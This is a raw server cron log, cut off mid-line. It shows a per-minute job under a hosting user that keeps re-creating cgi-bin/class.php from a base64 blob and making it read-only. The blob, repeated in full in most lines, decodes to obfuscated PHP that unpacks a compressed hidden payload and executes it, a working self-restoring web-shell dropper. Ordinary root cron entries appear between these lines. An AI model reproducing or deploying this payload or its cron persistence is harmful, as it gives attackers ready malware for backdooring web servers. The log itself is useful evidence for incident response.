Nov 13 04:46:01 server CROND[1498]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:47:01 server CROND[2361]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:48:01 server CROND[3318]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:49:01 server CROND[4171]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:50:01 server CROND[5089]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 04:50:01 server CROND[5091]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 04:50:01 server CROND[5092]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 04:50:01 server CROND[5093]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 04:50:01 server CROND[5095]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:51:01 server CROND[5994]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:52:01 server CROND[6852]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:53:01 server CROND[7818]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:54:01 server CROND[8805]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:55:01 server CROND[9696]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 04:55:01 server CROND[9698]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 04:55:01 server CROND[9699]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:56:01 server CROND[10614]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:57:01 server CROND[11524]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:57:01 server CROND[11526]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 04:58:01 server CROND[12387]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:59:01 server CROND[13114]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 